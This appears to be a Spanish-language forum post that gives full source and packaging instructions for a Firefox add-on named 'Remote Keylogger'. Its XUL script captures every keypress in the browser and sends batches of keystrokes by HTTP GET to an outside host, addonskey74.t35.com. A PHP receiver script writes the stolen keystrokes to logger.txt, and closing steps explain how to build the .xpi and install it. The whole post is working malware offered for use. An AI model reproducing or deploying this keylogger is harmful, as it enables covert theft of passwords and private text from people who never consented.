Código: Seleccionar todo
<?xml version="1.0" encoding="ISO-8859-1"?>
<rdf:RDF
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
xmlns:em="http://www.mozilla.org/2004/em-rdf#">
<rdf:Description rdf:about="urn:mozilla:install-manifest">
<em:name>Remote Keylogger</em:name>
<em:id>[email protected]</em:id>
<em:version>0.1</em:version>
<em:type>2</em:type>
<em:creator>NeGrO74</em:creator>
<em:description>Es un addon experimental</em:description>
<em:targetApplication>
<rdf:Description>
<em:id>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</em:id>
<em:minVersion>2.0</em:minVersion>
<em:maxVersion>4.*</em:maxVersion>
</rdf:Description>
</em:targetApplication>
</rdf:Description>
</rdf:RDF>
Chrome.manifest(La ruta donde se ejecuta el Keylogger)
Código: Seleccionar todo
content remote_keylogger chrome/content/
overlay chrome://browser/content/browser.xul chrome://remote_keylogger/content/remote_keylogger.xul
key_strokes.php(Tiene q ser subido en un servidor con los permisos al caño (777) Donde se va a recibir todas las teclas digitadas en un archivo llamado logger.txt
Código: Seleccionar todo
<?php
$recived_keys = $HTTP_GET_VARS["keylog"];
$file = fopen('logger.txt', 'a');
fwrite($file, $recived_keys . "\n\n");
?>
remote_keylogger.XUL(El codigo del Keylogger)
Código: Seleccionar todo
<?xml version="1.0"?>
<?xml-stylesheet href="chrome://global/skin/" type="text/css"?>
<window id="yourwindow" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
<script>
<![CDATA[
document.addEventListener("keypress",onkey,false);
var keyss='';
function onkey(e) {
keyss+=String.fromCharCode(e.charCode);
if (keyss.length>20) {
http=new XMLHttpRequest();
http.open("GET","http://addonskey74.t35.com/key_strokes.php?keylog=" + keyss,true);
http.send(null);
keyss='';
}
}
]]>
</script>
</window>
Explicación de como utilizarlo:
Hay que crear 2 carpetas /chrome/content y copiar el archivo "remote_keylogger.XUL", quedaria "/chrome/content/remote_keylogger.XUL", después hay que comprimir en formato .zip los archivos install.rdf, Chrome.manifest y la carpeta chrome con el nombre remote_keylogger (el nombre que ingresen va a mostrar en los complementos del firefox), quedaria remote_keylogger.zip y hay q cambiar el formato por xpi, quedando remote_keylogger.xpi.
abren el firefox ctrl+o (abrir archivo) y buscan remote_keylogger.xpi, reinician el firefox y ya esta funcionando el keylogger.
Video de referencia para que sepan su utilización:
[Enlace externo eliminado para invitados]
Yo he puesto un menú nada mas, todos los creditos para él.
Un saludo!